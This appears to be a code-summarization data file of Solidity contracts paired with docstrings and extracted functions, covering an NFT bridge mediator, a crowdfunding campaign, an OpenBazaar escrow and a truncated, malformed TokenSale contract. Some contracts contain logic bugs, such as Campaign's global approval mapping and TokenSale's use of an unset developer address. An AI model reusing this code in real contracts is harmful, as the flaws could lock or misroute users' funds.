* in order to avoid an attempt to steal the funds from a token with double addresses.
* @param _token address of the token contract.
* @param _receiver the address that will receive the token on the other network.
* @param _tokenId unique id of the bridged token.
*/
function fixMediatorBalance(
address _token,
address _receiver,
uint256 _tokenId
) external onlyIfUpgradeabilityOwner {
require(isRegisteredAsNativeToken(_token));
require(!mediatorOwns(_token, _tokenId));
require(IERC721(_token).ownerOf(_tokenId) == address(this));
_setMediatorOwns(_token, _tokenId, true);
bytes memory data = _prepareMessage(_token, _receiver, _tokenId);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, _tokenId);
}
/**
* @dev Executes action on deposit of ERC721 token.
* @param _token address of the ERC721 token contract.
* @param _from address of token sender.
* @param _receiver address of token receiver on the other side.
* @param _tokenId unique id of the bridged token.
*/
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _tokenId
) internal override {
// verify that token was indeed transferred
require(IERC721(_token).ownerOf(_tokenId) == address(this));
if (!isTokenRegistered(_token)) {
_setNativeTokenIsRegistered(_token, REGISTERED);
}
bytes memory data = _prepareMessage(_token, _receiver, _tokenId);
bytes32 _messageId = _passMessage(data, _isOracleDrivenLaneAllowed(_token, _from, _receiver));
_recordBridgeOperation(_messageId, _token, _from, _tokenId);
}
/**
* @dev Constructs the message to be sent to the other side. Burns/locks bridged token.
* @param _token bridged token address.
* @param _receiver address of the tokens receiver on the other side.
* @param _tokenId unique id of the bridged token.
*/
function _prepareMessage(
address _token,
address _receiver,
uint256 _tokenId
) internal returns (bytes memory) {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
address nativeToken = nativeTokenAddress(_token);
// process token is native with respect to this side of the bridge
if (nativeToken == address(0)) {
_setMediatorOwns(_token, _tokenId, true);
string memory tokenURI = _readTokenURI(_token, _tokenId);
// process token which bridged alternative was already ACKed to be deployed
if (isBridgedTokenDeployAcknowledged(_token)) {
return abi.encodeWithSelector(this.handleBridgedNFT.selector, _token, _receiver, _tokenId, tokenURI);
}
string memory name = _readName(_token);
string memory symbol = _readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
abi.encodeWithSelector(
this.deployAndHandleBridgedNFT.selector,
_token,
name,
symbol,
_receiver,
_tokenId,
tokenURI
);
}
// process already known token that is bridged from other chain
IBurnableMintableERC721Token(_token).burn(_tokenId);
return abi.encodeWithSelector(this.handleNativeNFT.selector, nativeToken, _receiver, _tokenId);
}
/**
* @dev Unlock/Mint back the bridged token that was bridged to the other network but failed.
* @param _token address that bridged token contract.
* @param _recipient address that will receive the tokens.
* @param _tokenId unique id of the bridged token.
*/
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _tokenId
) internal override {
_releaseToken(_token, nativeTokenAddress(_token) == address(0), _recipient, _tokenId);
}
/**
* @dev Handles the bridged token that came from the other side of the bridge.
* Checks that the operation is inside the execution limits and invokes the Mint or Unlock accordingly.
* @param _token token contract address on this side of the bridge.
* @param _isNative true, if given token is native to this chain and Unlock should be used.
* @param _recipient address that will receive the tokens.
* @param _tokenId unique id of the bridged token.
*/
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _tokenId
) internal {
require(isTokenExecutionAllowed(_token));
_releaseToken(_token, _isNative, _recipient, _tokenId);
emit TokensBridged(_token, _recipient, _tokenId, messageId());
}
/**
* Internal function for setting token URI for the bridged token instance.
* @param _token address of the token contract.
* @param _tokenId unique id of the bridged token.
* @param _tokenURI URI for bridged token metadata.
*/
function _setTokenURI(
address _token,
uint256 _tokenId,
string calldata _tokenURI
) internal {
if (bytes(_tokenURI).length > 0) {
IBurnableMintableERC721Token(_token).setTokenURI(_tokenId, _tokenURI);
}
}
/**
* Internal function for unlocking/minting some specific ERC721 token.
* @param _token address of the token contract.
* @param _isNative true, if the token contract is native w.r.t to the bridge.
* @param _recipient address of the tokens receiver.
* @param _tokenId unique id of the bridged token.
*/
function _releaseToken(
address _token,
bool _isNative,
address _recipient,
uint256 _tokenId
) internal {
if (_isNative) {
_setMediatorOwns(_token, _tokenId, false);
IERC721(_token).transferFrom(address(this), _recipient, _tokenId);
} else {
IBurnableMintableERC721Token(_token).mint(_recipient, _tokenId);
}
}
/**
* @dev Internal function for recording bridge operation for further usage.
* Recorded information is used for fixing failed requests on the other side.
* @param _messageId id of the sent message.
* @param _token bridged token address.
* @param _sender address of the tokens sender.
* @param _tokenId unique id of the bridged token.
*/
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _tokenId
) internal {
require(isTokenBridgingAllowed(_token));
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _tokenId);
emit TokensBridgingInitiated(_token, _sender, _tokenId, _messageId);
}
/**
* @dev Checks if bridge operation is allowed to use oracle driven lane.
* @param _token address of the token contract on the foreign side of the bridge.
* @param _sender address of the tokens sender on the home side of the bridge.
* @param _receiver address of the tokens receiver on the foreign side of the bridge.
* @return true, if message can be forwarded to the oracle-driven lane.
*/
function _isOracleDrivenLaneAllowed(
address _token,
address _sender,
address _receiver
) internal view virtual returns (bool) {
(_token, _sender, _receiver);
return true;
}
/**
* @dev Internal function for transforming the bridged token name. Appends a side-specific suffix.
* @param _name bridged token from the other side.
* @return token name for this side of the bridge.
*/
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/common/GasLimitManager.sol
pragma solidity 0.7.5;
/**
* @title GasLimitManager
* @dev Functionality for determining the request gas limit for AMB execution.
*/
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be; // keccak256(abi.encodePacked("requestGasLimit"))
/**
* @dev Sets the default gas limit to be used in the message execution by the AMB bridge on the other network.
* This value can't exceed the parameter maxGasPerTx defined on the AMB bridge.
* Only the owner can call this method.
* @param _gasLimit the gas limit for the message execution.
*/
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
/**
* @dev Tells the default gas limit to be used in the message execution by the AMB bridge on the other network.
* @return the gas limit for the message execution.
*/
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
/**
* @dev Stores the gas limit to be used in the message execution by the AMB bridge on the other network.
* @param _gasLimit the gas limit for the message execution.
*/
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/ForeignNFTOmnibridge.sol
pragma solidity 0.7.5;
/**
* @title ForeignNFTOmnibridge
* @dev Foreign side implementation for multi-token ERC721 mediator intended to work on top of AMB bridge.
* It is designed to be used as an implementation contract of EternalStorageProxy contract.
*/
contract ForeignNFTOmnibridge is BasicNFTOmnibridge, GasLimitManager {
constructor(string memory _suffix) BasicNFTOmnibridge(_suffix) {}
/**
* @dev Stores the initial parameters of the mediator.
* @param _bridgeContract the address of the AMB bridge contract.
* @param _mediatorContract the address of the mediator contract on the other network.
* @param _requestGasLimit the gas limit for the message execution.
* @param _owner address of the owner of the mediator contract.
* @param _image address of the ERC721 token image.
*/
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256 _requestGasLimit,
address _owner,
address _image
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenImage(_image);
setInitialize();
return isInitialized();
}
/**
* @dev Internal function for sending an AMB message to the mediator on the other side.
* @param _data data to be sent to the other side of the bridge.
* @param _useOracleLane always true, not used on this side of the bridge.
* @return id of the sent message.
*/
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
}
|
* @dev Executes action on deposit of ERC721 token. @param _token address of the ERC721 token contract. @param _from address of token sender. @param _receiver address of token receiver on the other side. @param _tokenId unique id of the bridged token./ verify that token was indeed transferred
|
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _tokenId
) internal override {
require(IERC721(_token).ownerOf(_tokenId) == address(this));
if (!isTokenRegistered(_token)) {
_setNativeTokenIsRegistered(_token, REGISTERED);
}
bytes memory data = _prepareMessage(_token, _receiver, _tokenId);
bytes32 _messageId = _passMessage(data, _isOracleDrivenLaneAllowed(_token, _from, _receiver));
_recordBridgeOperation(_messageId, _token, _from, _tokenId);
}
| 13,489,636
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
//this contract creates campaigns and tracks the campaigns that have been deployed
contract CampaignFactory {
//stores deployed campaigns in array
address[] public deployedContracts;
//creates campaign and adds it to the array for tracking
function createCampaign(uint256 minimum) public {
address newCampaign = address(new Campaign(minimum, msg.sender));
deployedContracts.push(newCampaign);
emit CampaignFactoryAction("New campaign deployed via CampaignFactory");
}
//returns an array of deployed campaign contract addresses
function getDeployedContracts() public view returns (address[] memory) {
return deployedContracts;
}
event CampaignFactoryAction(string actionTaken);
}
contract Campaign {
event CampaignAction(string actionTaken);
//stores manager/contract creator
address public manager;
//stores min. contribution to create a Campaign
uint256 public minimumContribution;
//stores approvers/contributors
mapping(address => bool) public approvers;
mapping(address => bool) public approvals;
//stores the number of approvers (used in the formula when determining if > 50% have approved request)
uint256 public approversCount;
//struct stores Request info
struct Request {
string description;
uint256 value;
address payable recipient;
bool complete;
uint256 approvalCount;
}
//stores array of campaign request
Request[] public requests;
//constructor requires a min. wei amount, and the creators eth address
constructor(uint256 _minimumContribution, address creator) {
manager = creator;
minimumContribution = _minimumContribution;
emit CampaignAction("Campaign was created");
}
//
function contribute() public payable {
//validates the minimum contribution amount is sent to the Campaign contract
require(
msg.value >= minimumContribution,
"You must contribute a minimum amount of wei"
);
//adds the contributors address to the approver array and increments the approver count by 1
approvers[msg.sender] = true;
approversCount++;
emit CampaignAction("Contribution was made");
}
//creates a campaign request only is the caller is the owner of the contract
function createRequest(
string memory _description,
uint256 _value,
address payable _recipient
) public onlyOwner {
Request memory newRequest = Request({
description: _description,
value: _value,
recipient: _recipient,
complete: false,
approvalCount: 0
});
requests.push(newRequest);
emit CampaignAction("Request created");
}
function approveRequest(uint256 _index) public onlyApprover {
//retrieves the campaign request from the ethereum blockchain
Request storage request = requests[_index];
//makes sure contract caller does not approve request more than once
require(
!approvals[msg.sender],
"You can't approve request more than once"
);
//increments the approvalCount by 1
request.approvalCount++;
addApprovals(msg.sender);
emit CampaignAction("Approval request sent");
}
//helper function to add callers address to approvals mapping
function addApprovals(address approver) private {
approvals[approver] = true;
}
function finalizeRequest(uint256 _index) public onlyApprover {
//using storage keyword to show that we are looking at the same Request that already exist in storage
Request storage request = requests[_index];
//validates request has not already been approved
require(
!request.complete,
"You can't finalize a request more than once!"
);
//validates more than 50% of the approvers have approved te request
require(
request.approvalCount > (approversCount / 2),
"At least 50% of the approvers must have approved this request before it can be finalized"
);
//sets the request as approved and transfers the ETH to the recipient address in the request
request.complete = true;
request.recipient.transfer(request.value);
emit CampaignAction("Request was finalized");
}
//returns a summary of the campaign request in a Result object
function getSummary() public view returns (uint, uint, uint, uint, address) {
return (
minimumContribution,
address(this).balance,
requests.length,
approversCount,
manager
);
}
function getRequestsCount() public view returns (uint) {
return requests.length;
}
//modifier to check if address is an approver
modifier onlyApprover() {
require(approvers[msg.sender], "Your must be an approver");
_;
}
//modifier to check if the caller is the contract owner
modifier onlyOwner() {
require(
manager == msg.sender,
"Only the owner can perform this action!"
);
_;
}
}
|
validates the minimum contribution amount is sent to the Campaign contractadds the contributors address to the approver array and increments the approver count by 1
|
function contribute() public payable {
require(
msg.value >= minimumContribution,
"You must contribute a minimum amount of wei"
);
approvers[msg.sender] = true;
approversCount++;
emit CampaignAction("Contribution was made");
}
| 12,871,537
|
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pragma solidity 0.4.24;
interface ITokenContract {
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(
address _to,
uint256 _amount
)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _amount
)
external
returns (bool success);
}
/**
* @dev Supports ERC20 tokens
* The escrow smart contract for the OpenBazaar trades in Ethereum
* The smart contract is designed keeping in mind the current wallet interface
* of OB-core:
* https://github.com/OpenBazaar/wallet-interface/blob/master/wallet.go
* Current wallet interface strictly adheres to UTXO(bitcoin) model
* Please read below mentioned link for detailed specs
* https://github.com/OpenBazaar/smart-contracts/blob/master/contracts/escrow/EscrowSpec.md
*/
contract Escrow_v1_0 {
using SafeMath for uint256;
enum Status {FUNDED, RELEASED}
enum TransactionType {ETHER, TOKEN}
event Executed(
bytes32 indexed scriptHash,
address[] destinations,
uint256[] amounts
);
event FundAdded(
bytes32 indexed scriptHash,
address indexed from,
uint256 valueAdded
);
event Funded(
bytes32 indexed scriptHash,
address indexed from,
uint256 value
);
struct Transaction {
uint256 value;
uint256 lastModified; //time txn was last modified (in seconds)
Status status;
TransactionType transactionType;
uint8 threshold;
uint32 timeoutHours;
address buyer;
address seller;
address tokenAddress; //token address in case of token transfer
address moderator;
mapping(address => bool) isOwner; //to keep track of owners.
mapping(address => bool) voted; //to keep track of who all voted
mapping(address => bool) beneficiaries; //beneficiaries of execution
}
mapping(bytes32 => Transaction) public transactions;
uint256 public transactionCount = 0;
//Contains mapping between each party and all of their transactions
mapping(address => bytes32[]) private partyVsTransaction;
modifier transactionExists(bytes32 scriptHash) {
require(
transactions[scriptHash].value != 0, "Transaction does not exist"
);
_;
}
modifier transactionDoesNotExist(bytes32 scriptHash) {
require(transactions[scriptHash].value == 0, "Transaction exists");
_;
}
modifier inFundedState(bytes32 scriptHash) {
require(
transactions[scriptHash].status == Status.FUNDED,
"Transaction is not in FUNDED state"
);
_;
}
modifier nonZeroAddress(address addressToCheck) {
require(addressToCheck != address(0), "Zero address passed");
_;
}
modifier checkTransactionType(
bytes32 scriptHash,
TransactionType transactionType
)
{
require(
transactions[scriptHash].transactionType == transactionType,
"Transaction type does not match"
);
_;
}
modifier onlyBuyer(bytes32 scriptHash) {
require(
msg.sender == transactions[scriptHash].buyer,
"The initiator of the transaction is not buyer"
);
_;
}
/**
* @dev Add new transaction in the contract
* @param buyer The buyer of the transaction
* @param seller The seller of the listing associated with the transaction
* @param moderator Moderator for this transaction
* @param threshold Minimum number of signatures required to released funds
* @param timeoutHours Hours after which seller can release funds into his
* favour by signing transaction unilaterally
* @param scriptHash keccak256 hash of the redeem script
* @param uniqueId bytes20 unique id for the transaction, generated by
* ETH wallet
* Redeem Script format will be following
* <uniqueId: 20><threshold:1><timeoutHours:4><buyer:20><seller:20>
* <moderator:20><multisigAddress:20>
* Pass amount of the ETH to be put in escrow
*/
function addTransaction(
address buyer,
address seller,
address moderator,
uint8 threshold,
uint32 timeoutHours,
bytes32 scriptHash,
bytes20 uniqueId
)
external
payable
transactionDoesNotExist(scriptHash)
nonZeroAddress(buyer)
nonZeroAddress(seller)
{
_addTransaction(
buyer,
seller,
moderator,
threshold,
timeoutHours,
scriptHash,
msg.value,
uniqueId,
TransactionType.ETHER,
address(0)
);
emit Funded(scriptHash, msg.sender, msg.value);
}
/**
* @dev Add new transaction in the contract
* @param buyer The buyer of the transaction
* @param seller The seller of the listing associated with the transaction
* @param moderator Moderator for this transaction
* @param threshold Minimum number of signatures required to released funds
* @param timeoutHours Hours after which seller can release funds into his
* favour by signing transaction unilaterally
* @param scriptHash keccak256 hash of the redeem script
* @param value Amount of tokens to be put in escrow
* @param uniqueId bytes20 unique id for the transaction, generated by
* ETH wallet
* @param tokenAddress Address of the token to be used
* Redeem Script format will be following:
* <uniqueId: 20><threshold:1><timeoutHours:4><buyer:20><seller:20>
* <moderator:20><multisigAddress:20><tokenAddress:20>
* Approve escrow contract to spend amount of token on sender's behalf
*/
function addTokenTransaction(
address buyer,
address seller,
address moderator,
uint8 threshold,
uint32 timeoutHours,
bytes32 scriptHash,
uint256 value,
bytes20 uniqueId,
address tokenAddress
)
external
transactionDoesNotExist(scriptHash)
nonZeroAddress(buyer)
nonZeroAddress(seller)
nonZeroAddress(tokenAddress)
{
_addTransaction(
buyer,
seller,
moderator,
threshold,
timeoutHours,
scriptHash,
value,
uniqueId,
TransactionType.TOKEN,
tokenAddress
);
ITokenContract token = ITokenContract(tokenAddress);
require(
token.transferFrom(msg.sender, address(this), value),
"Token transfer failed, maybe you did not approve escrow contract to spend on behalf of sender"
);
emit Funded(scriptHash, msg.sender, value);
}
/**
* @dev This method will check whether given address was a beneficiary of
* transaction execution or not
* @param scriptHash script hash of the transaction
* @param beneficiary Beneficiary address to be checked
*/
function checkBeneficiary(
bytes32 scriptHash,
address beneficiary
)
external
view
returns (bool)
{
return transactions[scriptHash].beneficiaries[beneficiary];
}
/**
* @dev This method will check whether given party has voted or not
* @param scriptHash script hash of the transaction
* @param party Address of the party whose vote has to be checked
* @return bool vote
*/
function checkVote(
bytes32 scriptHash,
address party
)
external
view
returns (bool)
{
return transactions[scriptHash].voted[party];
}
/**
* @dev Allows buyer of the transaction to add more funds(ether) in the
* transaction.
* This will help to cater scenarios wherein initially buyer missed to
* fund transaction as required
* @param scriptHash script hash of the transaction
* Only buyer of the transaction can invoke this method
*/
function addFundsToTransaction(
bytes32 scriptHash
)
external
payable
transactionExists(scriptHash)
inFundedState(scriptHash)
checkTransactionType(scriptHash, TransactionType.ETHER)
onlyBuyer(scriptHash)
{
require(msg.value > 0, "Value must be greater than zero.");
transactions[scriptHash].value = transactions[scriptHash].value
.add(msg.value);
emit FundAdded(scriptHash, msg.sender, msg.value);
}
/**
* @dev Allows buyer of the transaction to add more funds(Tokens) in the
* transaction.
* This will help to cater scenarios wherein initially buyer missed to
* fund transaction as required
* @param scriptHash script hash of the transaction
* Only buyer of the transaction can invoke this method
*/
function addTokensToTransaction(
bytes32 scriptHash,
uint256 value
)
external
transactionExists(scriptHash)
inFundedState(scriptHash)
checkTransactionType(scriptHash, TransactionType.TOKEN)
onlyBuyer(scriptHash)
{
require(value > 0, "Value must be greater than zero.");
ITokenContract token = ITokenContract(
transactions[scriptHash].tokenAddress
);
require(
token.transferFrom(msg.sender, address(this), value),
"Token transfer failed, maybe you did not approve the escrow contract to spend on behalf of the buyer"
);
transactions[scriptHash].value = transactions[scriptHash].value
.add(value);
emit FundAdded(scriptHash, msg.sender, value);
}
/**
*@dev Returns all transaction ids for a party
*@param partyAddress Address of the party
*/
function getAllTransactionsForParty(
address partyAddress
)
external
view
returns (bytes32[])
{
return partyVsTransaction[partyAddress];
}
/**
*@dev This method will be used to release funds associated with
* the transaction
* Please see specs https://github.com/OpenBazaar/smart-contracts/blob/master/contracts/escrow/EscrowSpec.md
*@param sigV Array containing V component of all the signatures
*@param sigR Array containing R component of all the signatures
*@param signS Array containing S component of all the signatures
*@param scriptHash script hash of the transaction
*@param destinations List of addresses who will receive funds
*@param amounts amount released to each destination
*/
function execute(
uint8[] sigV,
bytes32[] sigR,
bytes32[] sigS,
bytes32 scriptHash,
address[] destinations,
uint256[] amounts
)
external
transactionExists(scriptHash)
inFundedState(scriptHash)
{
require(
destinations.length > 0,
"Number of destinations must be greater than 0"
);
require(
destinations.length == amounts.length,
"Number of destinations must match number of values sent"
);
_verifyTransaction(
sigV,
sigR,
sigS,
scriptHash,
destinations,
amounts
);
transactions[scriptHash].status = Status.RELEASED;
//Last modified timestamp modified, which will be used by rewards
transactions[scriptHash].lastModified = block.timestamp;
require(
_transferFunds(scriptHash, destinations, amounts) == transactions[scriptHash].value,
"Total value to be released must be equal to the transaction escrow value"
);
emit Executed(scriptHash, destinations, amounts);
}
/**
*@dev Method for calculating script hash. Calculation will depend upon
* the type of transaction
* ETHER Type transaction-:
* Script Hash- keccak256(uniqueId, threshold, timeoutHours, buyer, seller,
* moderator, multiSigContractAddress)
* TOKEN Type transaction
* Script Hash- keccak256(uniqueId, threshold, timeoutHours, buyer, seller,
* moderator, multiSigContractAddress, tokenAddress)
* Client can use this method to verify whether it has calculated correct
* script hash or not
*/
function calculateRedeemScriptHash(
bytes20 uniqueId,
uint8 threshold,
uint32 timeoutHours,
address buyer,
address seller,
address moderator,
address tokenAddress
)
public
view
returns (bytes32)
{
if (tokenAddress == address(0)) {
return keccak256(
abi.encodePacked(
uniqueId,
threshold,
timeoutHours,
buyer,
seller,
moderator,
address(this)
)
);
} else {
return keccak256(
abi.encodePacked(
uniqueId,
threshold,
timeoutHours,
buyer,
seller,
moderator,
address(this),
tokenAddress
)
);
}
}
/**
* @dev This methods checks validity of transaction
* 1. Verify Signatures
* 2. Check if minimum number of signatures has been acquired
* 3. If above condition is false, check if timelock is expired or if the
* execution is signed by seller
*/
function _verifyTransaction(
uint8[] sigV,
bytes32[] sigR,
bytes32[] sigS,
bytes32 scriptHash,
address[] destinations,
uint256[] amounts
)
private
{
_verifySignatures(
sigV,
sigR,
sigS,
scriptHash,
destinations,
amounts
);
bool timeLockExpired = _isTimeLockExpired(
transactions[scriptHash].timeoutHours,
transactions[scriptHash].lastModified
);
//if the minimum number of signatures are not gathered and either
//timelock has not expired or transaction was not signed by seller
//then revert
if (sigV.length < transactions[scriptHash].threshold) {
if (!timeLockExpired) {
revert("Min number of sigs not present and timelock not expired");
}
else if (!transactions[scriptHash].voted[transactions[scriptHash].seller]) {
revert("Min number of sigs not present and seller did not sign");
}
}
}
/**
*@dev Private method to transfer funds to the destination addresses on
* the basis of transaction type
*/
function _transferFunds(
bytes32 scriptHash,
address[]destinations,
uint256[]amounts
)
private
returns (uint256)
{
Transaction storage t = transactions[scriptHash];
uint256 valueTransferred = 0;
if (t.transactionType == TransactionType.ETHER) {
for (uint256 i = 0; i < destinations.length; i++) {
require(
destinations[i] != address(0),
"zero address is not allowed as destination address"
);
require(
t.isOwner[destinations[i]],
"Destination address is not one of the owners"
);
require(
amounts[i] > 0,
"Amount to be sent should be greater than 0"
);
valueTransferred = valueTransferred.add(amounts[i]);
//add receiver as beneficiary
t.beneficiaries[destinations[i]] = true;
destinations[i].transfer(amounts[i]);
}
} else if (t.transactionType == TransactionType.TOKEN) {
ITokenContract token = ITokenContract(t.tokenAddress);
for (uint256 j = 0; j<destinations.length; j++) {
require(
destinations[j] != address(0),
"zero address is not allowed as destination address"
);
require(
t.isOwner[destinations[j]],
"Destination address is not one of the owners"
);
require(
amounts[j] > 0,
"Amount to be sent should be greater than 0"
);
valueTransferred = valueTransferred.add(amounts[j]);
//add receiver as beneficiary
t.beneficiaries[destinations[j]] = true;
require(
token.transfer(destinations[j], amounts[j]),
"Token transfer failed."
);
}
}
return valueTransferred;
}
/**
*@dev Checks whether the signatures are valid or not and marks signers as
* having "voted".
*/
function _verifySignatures(
uint8[] sigV,
bytes32[] sigR,
bytes32[] sigS,
bytes32 scriptHash,
address[] destinations,
uint256[]amounts
)
private
{
require(sigR.length == sigS.length, "R,S length mismatch");
require(sigR.length == sigV.length, "R,V length mismatch");
// Follows ERC191 signature scheme: https://github.com/ethereum/EIPs/issues/191
bytes32 txHash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(
abi.encodePacked(
byte(0x19),
byte(0),
address(this),
destinations,
amounts,
scriptHash
)
)
)
);
for (uint i = 0; i < sigR.length; i++) {
address recovered = ecrecover(
txHash,
sigV[i],
sigR[i],
sigS[i]
);
require(
transactions[scriptHash].isOwner[recovered],
"Invalid signature"
);
require(
!transactions[scriptHash].voted[recovered],
"Same signature sent twice"
);
transactions[scriptHash].voted[recovered] = true;
}
}
function _isTimeLockExpired(
uint32 timeoutHours,
uint256 lastModified
)
private
view
returns (bool)
{
uint256 timeSince = now.sub(lastModified);
return (
timeoutHours == 0 ? false : timeSince > uint256(timeoutHours).mul(3600)
);
}
/**
* Private method to add transaction to reduce code redundancy
*/
function _addTransaction(
address buyer,
address seller,
address moderator,
uint8 threshold,
uint32 timeoutHours,
bytes32 scriptHash,
uint256 value,
bytes20 uniqueId,
TransactionType transactionType,
address tokenAddress
)
private
{
require(buyer != seller, "Buyer and seller are same");
//value passed should be greater than 0
require(value > 0, "Value passed is 0");
// For now allowing 0 moderator to support 1-2 multisig wallet
require(threshold > 0, "Threshold must be greater than 0");
require(threshold <= 3, "Threshold must not be greater than 3");
//if threshold is 1 then moderator can be any address
//otherwise moderator should be a valid address
require(
threshold == 1 || moderator != address(0),
"Either threshold should be 1 or valid moderator address should be passed"
);
require(
scriptHash == calculateRedeemScriptHash(
uniqueId,
threshold,
timeoutHours,
buyer,
seller,
moderator,
tokenAddress
),
"Calculated script hash does not match passed script hash."
);
transactions[scriptHash] = Transaction({
buyer: buyer,
seller: seller,
moderator: moderator,
value: value,
status: Status.FUNDED,
lastModified: block.timestamp,
threshold: threshold,
timeoutHours: timeoutHours,
transactionType:transactionType,
tokenAddress:tokenAddress
});
transactions[scriptHash].isOwner[seller] = true;
transactions[scriptHash].isOwner[buyer] = true;
//check if buyer or seller are not passed as moderator
require(
!transactions[scriptHash].isOwner[moderator],
"Either buyer or seller is passed as moderator"
);
//set moderator as one of the owners only if threshold is greater than
// 1 otherwise only buyer and seller should be able to release funds
if (threshold > 1) {
transactions[scriptHash].isOwner[moderator] = true;
}
transactionCount++;
partyVsTransaction[buyer].push(scriptHash);
partyVsTransaction[seller].push(scriptHash);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
|
*@dev Checks whether the signatures are valid or not and marks signers as having "voted"./ Follows ERC191 signature scheme: https:github.com/ethereum/EIPs/issues/191
|
function _verifySignatures(
uint8[] sigV,
bytes32[] sigR,
bytes32[] sigS,
bytes32 scriptHash,
address[] destinations,
uint256[]amounts
)
private
{
require(sigR.length == sigS.length, "R,S length mismatch");
require(sigR.length == sigV.length, "R,V length mismatch");
bytes32 txHash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(
abi.encodePacked(
byte(0x19),
byte(0),
address(this),
destinations,
amounts,
scriptHash
)
)
)
);
for (uint i = 0; i < sigR.length; i++) {
address recovered = ecrecover(
txHash,
sigV[i],
sigR[i],
sigS[i]
);
require(
transactions[scriptHash].isOwner[recovered],
"Invalid signature"
);
require(
!transactions[scriptHash].voted[recovered],
"Same signature sent twice"
);
transactions[scriptHash].voted[recovered] = true;
}
}
| 12,619,097
|
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] |
./full_match/4/0x1d50a1bAfEa591435101E0486bB6af3211c764Cd/sources/ballot.sol
|
require a valid candidate
|
require (_candidateId > 0 && _candidateId <= candidatesCount);
| 686,525
|
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./full_match/80001/0x2dB3C430D7cA1A372c0Fe1994F3d82715b2B10A7/sources/project_/contracts/TokenSale.sol
|
A very large multiplier means you can support many decimals wallet of developer
|
contract TokenSale is Ownable {
using SafeMath for uint256;
uint256 public constant MULTIPLIER = 1e6;
address public developer;
address public fund;
address public dev;
address public marketing;
address public expenses;
address public btcInvest;
uint256 public fundPercent = 350;
uint256 public devPercent = 250;
uint256 public marketingPercent = 240;
uint256 public expensesPercent = 160;
uint256 public buyFeePercent = 30;
uint256 public rate;
pragma solidity >=0.4.22 <0.9.0;
import "./IERC20.sol";
struct userModel {
uint256 id;
uint256 join_time;
uint256 total_buy;
uint256 total_sell;
address upline;
uint256 bonuse;
uint256 balance;
uint256 lock_time;
uint256 structures;
}
mapping(address => userModel) public investers;
uint256 investerId = 1000;
struct userIndexModel {
uint256 id;
address wallet;
}
userIndexModel[] public users;
bool public isActiveBuy = true;
bool public isActiveSell = true;
event evBuy(uint256 amount, address account);
event evSell(uint256 amount, address account);
constructor(
IERC20 _token,
IERC20 _usdt,
address _developer,
address _dev,
address _marketing,
address _expenses,
address _btcInvest
) {
token0 = _token;
token1 = _usdt;
investers[developer].id = investerId++;
investers[developer].join_time = block.timestamp;
userIndexModel memory idx = userIndexModel(
investers[developer].id,
developer
);
users.push(idx);
developer = _developer;
dev = _dev;
marketing = _marketing;
expenses = _expenses;
btcInvest = _btcInvest;
isActiveBuy = true;
isActiveSell = true;
}
function buy(uint256 amount, uint256 upline) public returns (uint256) {
require(isActiveBuy, "TokenSale: active buy is disable");
uint256 paidFee = 0;
address invester = msg.sender;
address beneficiary = address(this);
address _up;
if (investers[invester].join_time > 0) {
_up = investers[invester].upline;
_up = getUserAddress(upline);
}
